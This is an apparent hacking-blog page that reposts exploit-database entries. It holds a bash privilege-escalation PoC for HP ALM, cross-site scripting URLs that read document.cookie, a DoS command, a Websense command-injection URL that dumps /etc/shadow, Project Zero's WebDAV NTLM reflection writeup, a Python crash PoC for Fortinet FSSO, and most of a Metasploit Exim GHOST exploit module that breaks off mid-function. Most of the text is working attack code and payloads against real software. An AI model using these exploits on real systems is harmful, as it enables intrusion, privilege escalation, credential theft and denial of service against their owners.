Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863141537

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/50982/info

HP Application Lifestyle Management is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with elevated privileges. 

#!/bin/bash
# Simple PoC : Run as user, when vulnerable function is called
# /home/user/binary_to_run_as_root is run as root.
cat > file << EOF
Child Components
0a29406d9794e4f9b30b3c5d6702c708
\`/home/user/binary_to_run_as_root\`
EOF
mkfifo /tmp/tmp.txt                     # set trap
cat /tmp/tmp.txt                        # blocks for victim
while [ -e /tmp/tmp.txt ]; do
       cat file > /tmp/tmp.txt
       sleep 2
done
rm file
            
source: https://www.securityfocus.com/bid/50978/info

HS2 web interface is prone to multiple security vulnerabilities:

1. An HTML-injection vulnerability.
2. A cross-site request-forgery vulnerability.
3. A directory-traversal vulnerability.

Attackers can exploit these issues to perform certain actions in the context of an authorized user's session, run arbitrary HTML and script code, and transfer files outside of the web directory. Other attacks may also be possible.

HomeSeer HS2 2.5.0.20 is vulnerable; prior versions may also be affected. 

http://www.example.com/example<script>alert(document.cookie)</script>
            
source: https://www.securityfocus.com/bid/50968/info

Axis M10 Series Network Cameras are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Axis M1054 firmware 5.21 is vulnerable; other version may also be affected. 

http://www.example.com/admin/showReport.shtml?content=serverreport.cgi&pageTitle=%3C%2Ftitle%3E%3Cscript%3Ealert(String.fromCharCode(88%2C83%2C83))%3B%3C%2Fscript%3E%3Ctitle%3E
            
source: https://www.securityfocus.com/bid/50953/info

PowerDVD is prone to a denial-of-service vulnerability.

Attackers may leverage this issue to crash the affected application, denying service to legitimate users.

PowerDVD 11.0.0.2114 is vulnerable; other versions may also be affected. 

udpsz -c "\r\n\r\n" -T SERVER 55793 -1 
            
source: https://www.securityfocus.com/bid/50940/info

Apache Struts is prone to a security-bypass vulnerability that allows session tampering.

Successful attacks will allow attackers to bypass security restrictions and gain unauthorized access.

Apache Struts versions 2.0.9 and 2.1.8.1 are vulnerable; other versions may also be affected. 

http://www.example.com/SomeAction.action?session.somekey=someValue 
            
source: https://www.securityfocus.com/bid/50938/info

The Linux kernel is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an out-of-memory error in certain linux applications, resulting in denial-of-service conditions.

Linux kernel versions 2.6.35 and earlier are affected. 

$ for i in 1 2 3 4 5 6 7 8 ; do ./feedftp $i >/dev/null & done 
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=222

Windows: Local WebDAV NTLM Reflection Elevation of Privilege
Platform: Windows 8.1 Update, Windows 7
Class: Elevation of Privilege

Summary:
A default installation of Windows 7/8 can be made to perform a NTLM reflection attack through WebDAV which allows a local user to elevate privileges to local system. 

Description:

NTLM reflection is a well known issue with Windows authentication. It’s typically abused in networked scenarios to reflect credentials from one machine to another. It used to be possible to reflect credentials back to the same machine but that was mitigated in MS08-068 by not honouring NTLM authentication sessions already in flight. However this did nothing to stop cross-protocol attacks. 

The WebClient service for WebDAV (which is installed and enabled by default, although you’d need to start it using its service trigger) also does NTLM authentication if the server requests it. As Windows has no block on binding to TCP ports < 1024 from a normal user account then we can setup our own WebDAV server running as a normal user bound to localhost (so also no firewall issues). If we can convince another user, ideally local system to connect to the WebDAV server we can start an NTLM authentication session. This can then be replayed locally to the TCP/IP CIFS service endpoint to authenticate as that user. If this was a local system account then that gives you full local admin privs, you can read/write any file on the system through the admin shares. You could also bind to local named pipes such as the service manager and create a new privileged service. 

I’d put money on there being many ways of getting local system to open an arbitrary file, but the easiest one to exploit is Windows Defender (at least on Windows 8.1). You can tell it to initiate a scan of a file which gets opened under the local system token. Of course this might be a bug in and of itself. No processing of the path is done, it seems to be passed directly to CreateFile. This will cause a webdav connection to start to localhost and then NTLM can be negotiated. 

I don’t believe I’ve changed the settings on my VMs which would enable this attack. Certainly reading Group Policy settings it seems like localsystem shouldn’t authenticate with the machine account by default, but it seems that you can. I’ve checked my security settings and they look correct. I’ve tested it on Windows 8.1 Update with defender, and on Windows 7 manually executing the open as local system and they both work. 

After a quick search I can’t find anyone documenting this for the purposes of local privilege escalation attacks although it’s perhaps an obvious way of abusing the functionality so I would expect this is not common knowledge. It is the sort of bug which could be being exploited in the wild considering all it needs is socket access (which is any user) and some way of convincing a privileged user to open the local webdav share. Of course no-doubt it can be effectively mitigated using SMB signing although it isn’t clear that the NTLM extended protection is doing anything to stop it. That said this works in a default installation even with file sharing effectively disabled (at least as far as the GUIs will allow). 

Even with signing enabled on the client I guess it’s possible that you can reflect the NTLM credentials to a local TCP DCE/RPC endpoint instead to achieve a similar effect. Also I wouldn’t be so sure that WebDAV is the only way of doing this. Again another one might be COM marshaling and specifying a endpoint locally (although it might be clever enough to not directly communicate for that one). Another use for this attack is for negotiating a local impersonation token for local system which could be used for Token Kidnapping purposes. Calling AcceptSecurityContext from any account with permissions to handle enterprise auth will be handed back an impersonation level token, even normal users. But of course network service etc would have most use for the token. 

Proof of Concept:

I’ve provided a PoC which causes the Windows Defender service to open a WebDAV connection as Local System. This is for Windows 8.1 only as Windows 7’s defender doesn’t support the command as far as I know. The credentials are reflected to the local SMB service to write the file dummy.txt to the root of the C: drive. Of course more dangerous things could be done at this point. The PoC is written in Java just because it was the easiest to modify it’s library. No doubt an existing relay application could be repurposed, for example SmbRelay3 is supposed to be able to relay HTTP to SMB auth, but I didn’t try that. 

1) Install latest Java 8 JRE.
2) Start the WebClient service, this could be done in many ways from a normal user, for now just start it using the service manager. 
3) Extract the PoC to a directory.
4) Run “java -jar SmbTest.jar” in the extracted directory. This binds the WebDAV server then starts a scan with defender, after some seconds the exploit should run (there’s some slowness in everything starting). 


Repro Notes:
If the PoC prints that the WebClient service isn’t started then start it. If no HTTP/NTLM traffic is printed to the console then webdav/mup had marked the server as down. Restart the webclient service and it should fix it. 

Expected Result:
It shouldn’t be possible to elevate privileges, the SMB connection should fail to authenticate

Observed Result:
Authentication was successful as local system and a file written to the root of the C drive .

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36424.zip
            
Abstract


A command injection vulnerability was found in Websense Appliance Manager that allows an attacker to execute arbitrary code on the appliance. This issue can be combined with other vulnerabilities, like Cross-Site Scripting, to perform a remote unauthenticated attacks to compromise the appliance.

Tested versions


This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well.

Fix


Websense released hotfix 02 for Websense Triton v7.8.4 in which this issue is fixed. More information about this hotfix can be found at the following location:
http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-Solutions

This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location:
http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0

Introduction


Websense Data Security Suite contains three modules - Data Security Gateway, Data Discover, and Data Endpoint - that can help manage the risk of losing your data to malicious users or accidental misuse.

The Websense Appliance Manager GUI has a web-based 'command line utility' that provides the ability to execute various network debugging commands, which can be run on any module; Appliance Controller, Content Gateway, Web Security, Network Agent, Email Security Gateway. This command line utility is affected by command injection that allows an attacker to execute arbitrary code on the appliance. This issue can be combined with other vulnerabilities, like Cross-Site Scripting, to perform a remote unauthenticated attacks to compromise the appliance.

Details


The CommandLineServlet Java Servlet is responsible for enforcing limitations on the type of network debugging commands users are allowed to run using the GUI. An attacker is able to bypass these limitations by breaking out of any network diagnostics command that requires a second parameter (in this example Destination). This allows the attacker to inject arbitrary system commands. For example, the pipe character (|) is used to redirect the output from one process into the input of another, enabling multiple commands to be chained together. An attacker can leverage this behavior to execute any available system command (such as adduser or nc to start a reverse shell). The output is returned to the user, the commands are executed with elevated privileges (root).

With a little help of social engineering (like sending a link via email/chat), an attacker may trick authenticated users to execute arbitrary commands on behalf of the attacker. A more effective attack would be to abuse other Websense vulnerabilities like Cross-Site Scripting.

The following proof of concept will return the contents of /etc/shadow on affected appliances:

https://host:9447/appmng/servlet/CommandLineServlet?type=exec&uuid=asdfasdf&module=na1&command=ping&Destination=127.0.0.1'|cat%20/etc/shadow'

Other attack scenarios are also possible, like creating a backdoor account on the appliance.
            
1. Advisory Information


Title: Fortinet Single Sign On Stack Overflow
Advisory ID: CORE-2015-0006
Advisory URL: http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow
Date published: 2015-03-18
Date of last update: 2015-03-18
Vendors contacted: Fortinet
Release mode: Coordinated release


2. Vulnerability Information


Class: Stack-based Buffer Overflow [CWE-121]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2281



3. Vulnerability Description


Through Fortniet [1] "Single Sign On" or "Single User Sign On" users logged on to a computer network are authenticated for access to network resources through the FortiGate unit without having to enter their username and password again. Fortinet Single Sign On (FSSO) provides Single Sign On capability for Microsoft Windows networks using either Active Directory or NTLM authentication and Novell networks, using eDirectory.

FSSO [4] monitors user logons and sends the FortiGate unit the username, IP address, and the list of Windows AD user groups to which the user belongs. When the user tries to access network resources, the FortiGate unit selects the appropriate security policy for the destination. If the user belongs to one of the permitted user groups, the connection is allowed.

There is a vulnerability in the message dispatcher used by FSSO Windows Active Directory and FSSO Novell eDirectory. Exploitation of this vulnerability might lead to a full network compromise.


4. Vulnerable packages


- FSSO Windows Active Directory 4.3.0161 (4.3.0151, 4.3.0129 were also tested and found vulnerable)
- FSSO Novell eDirectory 4.3.0161

Other versions are probably affected too, but they were not checked.


5. Vendor Information, Solutions and Workarounds


Core Security recommends those affected use third party software such as Sentinel [3] or EMET [2] that could help to prevent the exploitation of affected systems to some extent.

Fortinet published the following FortiGuard Bulletin: [5]


6. Credits


This vulnerability was discovered and researched by Enrique Nissim in collaboration with Andres Lopez Luksenberg, both from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security Advisories Team.



7. Technical Description / Proof of Concept Code


[CVE-2015-2281] The vulnerability in both cases can be exploited by sending a special packet to the services without being authenticated (pre-auth).

Given that both software systems require and Administrative account in order to run, (Windows Domain Admin or eDirectory Admin accordingly) the full network is exposed. Pre-authenticated Remote Code Execution with Domain Administrative rights is possible.

The vulnerability is located in the Message Dispatcher for message PROCESS_HELLO. Here is a PoC (Proof of Concept) that causes the application thread with the FortiGate appliance to crash:


import socket
import struct

TARGET_IP = "192.168.233.100"

def play():   

   message = "\x80\x01\x42\x42"   
   buff = "A"*248
   buff += "B" * (0xfffff - len(buff))
   payload = struct.pack(">I", 0x000fffff) + message + buff

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((TARGET_IP, 8000))
   s.send(payload)
   buff_recv = s.recv(6000)    
   print buff_recv
   s.close() 	

play()


8. Report Timeline


2015-01-07: Core Security notifies Fortinet of the vulnerabilities. Publication date is set for February 2nd, 2015.
2015-01-09: Fortinet requests a copy of the advisory draft.
2015-01-09: Core Security sends a draft copy of the advisory to the vendor.
2015-01-14: Fortinet informs they are in the process of validating the report and asks if we want to commit to responsible disclosure.
2015-01-14: Core Security informs the vendor that our policy is to publish our findings in order to help the users to gain awareness of the issues and therefore allowing them to take the necessary precautions to protect themselves. We informed them that we always try to release our findings in a coordinate manner provided that the time the vendor takes to test and fix the issue is reasonable and the publication of this solution and our disclosure is agreed between the two parties.
2015-01-21: Core Security asks the vendor if they were able to review the vulnerabilities and a tentative date for publishing the fix and consequently the advisory.
2015-01-27: Fortinet acknowledges the vulnerabilities and informs that a fix of the source code is in order. The say they'll keep us updated regarding the release schedule.
2015-02-24: Fortinet informed us that the current ETA was the first week of March, but that it could be changed depending on their engineering load.
2015-02-24: Core Security requested a specific date considering that the first week of March was next week.
2015-02-27: Fortinet informed us that they currently don't have a fixed date. Additionally they sent us the link where their FortiGuard Bulletin is going to be published. They requested the CVE ID we are going to assign this issue.
2015-03-05: Core Security informs Fortinet that we still don´t have a CVE ID to share with them because we haven't received one from Mitre yet.
2015-03-05: Fortinet informed us that they were discussing when they were going to release the fix/update, and that they will provide us an ETA tomorrow.
2015-03-06: Fortinet informed us that their new ETA is March 11th, 2015. They clarify this is not a fixed date.
2015-03-11: Fortinet informed us that they postponed to the end of the week or next week the ETA of FortiOS 5.2.3.
2015-03-13: Core Security asks Fortinet about the status of the ETA for the fix/update. Additionally we recommended not to release it on a Friday in order to give the affected users the required time to apply the fix.
2015-03-16: Core Security asks Fortinet if they could send us their estimated ETA for the fix/update.
2015-03-16: Fortinet informed us that the current ETA is March 17th or March 18th.
2015-03-18: Advisory CORE-2015-0006 published.


9. References


[1] http://www.fortinet.com/.
[2] http://support.microsoft.com/kb/2458544.
[3] https://github.com/CoreSecurity/sentinel.
[4] http://docs-legacy.fortinet.com/cb/html/index.html#page/FOS_Cookbook/Authentication/FSSO-IBP.html.
[5] http://www.fortiguard.com/advisory/FG-IR-15-006/.


10. About CoreLabs


CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.


11. About Core Security


Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.


12. Disclaimer


The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. PGP/GPG Keys


This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
      'Description' => %q(
        This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
        buffer overflow in the GNU C Library's gethostbyname functions) on x86
        and x86_64 GNU/Linux systems that run the Exim mail server. Technical
        information about the exploitation can be found in the original GHOST
        advisory, and in the source code of this module.
        ------------------------------------------------------------------------
        SERVER-SIDE REQUIREMENTS (Exim)
        ------------------------------------------------------------------------
        The remote system must use a vulnerable version of the GNU C Library:
        the first exploitable version is glibc-2.6, the last exploitable version
        is glibc-2.17; older versions might be exploitable too, but this module
        depends on the newer versions' fd_nextsize (a member of the malloc_chunk
        structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
        the heap.
        ------------------------------------------------------------------------
        The remote system must run the Exim mail server: the first exploitable
        version is exim-4.77; older versions might be exploitable too, but this
        module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
        set up the heap as described in the GHOST advisory.
        ------------------------------------------------------------------------
        The remote Exim mail server must be configured to perform extra security
        checks against its SMTP clients: either the helo_try_verify_hosts or the
        helo_verify_hosts option must be enabled; the "verify = helo" ACL might
        be exploitable too, but is unpredictable and therefore not supported by
        this module.
        ------------------------------------------------------------------------
        CLIENT-SIDE REQUIREMENTS (Metasploit)
        ------------------------------------------------------------------------
        This module's "exploit" method requires the SENDER_HOST_ADDRESS option
        to be set to the IPv4 address of the SMTP client (Metasploit), as seen
        by the SMTP server (Exim); additionally, this IPv4 address must have
        both forward and reverse DNS entries that match each other
        (Forward-Confirmed reverse DNS).
        ------------------------------------------------------------------------
        The remote Exim server might be exploitable even if the Metasploit
        client has no FCrDNS, but this module depends on Exim's sender_host_name
        variable to be set in order to reliably control the state of the remote
        heap.
        ------------------------------------------------------------------------
        TROUBLESHOOTING
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
        was not specified.
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
        the SENDER_HOST_ADDRESS option was specified, but not in IPv4
        dotted-decimal notation.
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
        "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
        SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
        client (Metasploit), as seen by the SMTP server (Exim).
        ------------------------------------------------------------------------
        "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
        SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
        ------------------------------------------------------------------------
        "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
        is either not vulnerable, or not exploitable (glibc versions older than
        glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
        ------------------------------------------------------------------------
        "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
        contains bad characters (NUL, CR, LF) and was therefore mangled during
        the information leak; this exploit is able to reconstruct most of these
        addresses, but not all (worst-case probability is ~1/85, but could be
        further improved).
        ------------------------------------------------------------------------
        "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
        Unix command was executed, but spawned a bind-shell or a reverse-shell
        that failed to connect (maybe because of a firewall, or a NAT, etc).
        ------------------------------------------------------------------------
        "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
        remote Unix command was executed, but failed to spawn the shell (maybe
        because the setsid command doesn't exist, or awk isn't gawk, or netcat
        doesn't support the -6 or -e option, or telnet doesn't support the -z
        option, etc).
        ------------------------------------------------------------------------
        Comments and questions are welcome!
      ),
      'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
      'License' => BSD_LICENSE,
      'References' => [
        ['CVE', '2015-0235'],
        ['US-CERT-VU', '967332'],
        ['OSVDB', '117579'],
        ['BID', '72325'],
        ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
      ],
      'DisclosureDate' => 'Jan 27 2015',
      'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
      'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
      'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
      'Payload' => {
        'Space' => 255, # the shorter the payload, the higher the probability of code execution
        'BadChars' => "", # we encode the payload ourselves, because ^
        'DisableNops' => true,
        'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
      },
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))

    register_options([
      Opt::RPORT(25),
      OptAddress.new('SENDER_HOST_ADDRESS', [false,
        'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
    ], self.class)

    register_advanced_options([
      OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
    ], self.class)
  end

  def check
    # for now, no information about the vulnerable state of the target
    check_code = Exploit::CheckCode::Unknown

    begin
      # not exploiting, just checking
      smtp_connect(false)

      # malloc()ate gethostbyname's buffer, and
      # make sure its next_chunk isn't the top chunk

      9.times do
        smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
        smtp_recv(HELO_CODES)
      end

      # overflow (4 bytes) gethostbyname's buffer, and
      # overwrite its next_chunk's size field with 0x00303030

      smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
      # from now on, an exception means vulnerable
      check_code = Exploit::CheckCode::Vulnerable
      # raise an exception if no valid SMTP reply
      reply = smtp_recv(ANY_CODE)
      # can't determine vulnerable state if smtp_verify_helo() isn't called
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/

      # realloc()ate gethostbyname's buffer, and
      # crash (old glibc) or abort (new glibc)
      # on the overwritten size field

      smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
      # raise an exception if no valid SMTP reply
      reply = smtp_recv(ANY_CODE)
      # can't determine vulnerable state if smtp_verify_helo() isn't called
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
      # a vulnerable target should've crashed by now
      check_code = Exploit::CheckCode::Safe

    rescue
      peer = "#{rhost}:#{rport}"
      vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")

    ensure
      smtp_disconnect
    end

    return check_code
  end

  def exploit
    unless datastore['I_KNOW_WHAT_I_AM_DOING']
      print_status("Checking if target is vulnerable...")
      fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
      print_good("Target is vulnerable.")
    end
    information_leak
    code_execution
  end

  private

  HELO_CODES = '250|451|550'
  ANY_CODE = '[0-9]{3}'

  MIN_HEAP_SHIFT = 80
  MIN_HEAP_SIZE = 128 * 1024
  MAX_HEAP_SIZE = 1024 * 1024

  # Exim
  ALIGNMENT = 8
  STORE_BLOCK_SIZE = 8192
  STOREPOOL_MIN_SIZE = 256

  LOG_BUFFER_SIZE = 8192
  BIG_BUFFER_SIZE = 16384

  SMTP_CMD_BUFFER_SIZE = 16384
  IN_BUFFER_SIZE = 8192

  # GNU C Library
  PREV_INUSE = 0x1
  NS_MAXDNAME = 1025

  # Linux
  MMAP_MIN_ADDR = 65536

  def information_leak
    print_status("Trying information leak...")
    leaked_arch = nil
    leaked_addr = []

    # try different heap_shift values, in case Exim's heap address contains
    # bad chars (NUL, CR, LF) and was mangled during the information leak;
    # we'll keep the longest one (the least likely to have been truncated)

    16.times do
      done = catch(:another_heap_shift) do
        heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
        print_debug("#{{ heap_shift: heap_shift }}")

        # write the malloc_chunk header at increasing offsets (8-byte step),
        # until we overwrite the "503 sender not yet given" error message

        128.step(256, 8) do |write_offset|
          error = try_information_leak(heap_shift, write_offset)
          print_debug("#{{ write_offset: write_offset, error: error }}")
          throw(:another_heap_shift) if not error
          next if error == "503 sender not yet given"

          # try a few more offsets (allows us to double-check things,
          # and distinguish between 32-bit and 64-bit machines)

          error = [error]
          1.upto(5) do |i|
            error[i] = try_information_leak(heap_shift, write_offset + i*8)
            throw(:another_heap_shift) if not error[i]
          end
          print_debug("#{{ error: error }}")

          _leaked_arch = leaked_arch
          if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
             (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
             (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
             (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
            leaked_arch = ARCH_X86_64

          elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
                (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
                (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
                (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
            leaked_arch = ARCH_X86

          else
            throw(:another_heap_shift)
          end
          print_debug("#{{ leaked_arch: leaked_arch }}")
          fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch

          # try different large-bins: most of them should be empty,
          # so keep the most frequent fd_nextsize address
          # (a pointer to the malloc_chunk itself)

          count = Hash.new(0)
          0.upto(9) do |last_digit|
            error = try_information_leak(heap_shift, write_offset, last_digit)
            next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
            next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
            count[error] += 1
          end
          print_debug("#{{ count: count }}")
          throw(:another_heap_shift) if count.empty?

          # convert count to a nested array of [key, value] arrays and sort it
          error_count = count.sort { |a, b| b[1] <=> a[1] }
          error_count = error_count.first # most frequent
          error = error_count[0]
          count = error_count[1]
          throw(:another_heap_shift) unless count >= 6 # majority
          leaked_addr.push({ error: error, shift: heap_shift })

          # common-case shortcut
          if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
             (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
            leaked_addr = [leaked_addr.last] # use this one, and not another
            throw(:another_heap_shift, true) # done
          end
          throw(:another_heap_shift)
        end
        throw(:another_heap_shift)
      end
      break if done
    end

    fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?

    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
    leaked_addr = leaked_addr.first # longest
    error = leaked_addr[:error]
    shift = leaked_addr[:shift]

    leaked_addr = 0
    (leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
      break if i >= error.length
      leaked_addr += error.unpack('C*')[i] * (2**(i*8))
    end
    # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
    leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
    fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR

    print_good("Successfully leaked_arch: #{leaked_arch}")
    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
    @leaked = { arch: leaked_arch, addr: leaked_addr }
  end

  def try_information_leak(heap_shift, write_offset, last_digit = 9)
    fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
    fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
    fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
    fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/

    smtp_connect

    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
    smtp_recv(250)

    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
                                                    # ^ last_digit
    smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
    begin                       # ^ 0x30 | PREV_INUSE
      smtp_recv(HELO_CODES)

      smtp_send("RSET")
      smtp_recv(250)

      smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
      smtp_recv(503, 'sender not yet given')

      smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
      smtp_recv(500, '\A500 unrecognized command\r\n\z')

      smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
      smtp_recv(500, '\A500 unrecognized command\r\n\z')

      smtp_send("DATA")
      reply = smtp_recv(503)

      lines = reply[:lines]
      fail if lines.size <= 3
      fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
      fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
      fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"

      # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
      # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
      # but happens with lower probability)

      error = lines[+1..-3].join("")
      error.sub!(/\A503-/mn, "")
      error.sub!(/\r\n\z/mn, "")
      error.gsub!(/\r\n503-/mn, "\n")
      return error

    rescue
      return nil
    end

  ensure
    smtp_disconnect
  end

  def code_execution
    print_status("Trying code execution...")

    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
    #       that rogue child processes cannot use them.

    fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
    fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
    command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
    print_debug(command)

    # don't try to execute commands directly, try a very simple ACL first,
    # to distinguish between exploitation-problems and shellcode-problems

    acldrop = "drop message="
    message = rand_text_alpha(command.length - acldrop.length)
    acldrop += message

    max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
    max_heap_addr = @leaked[:addr]
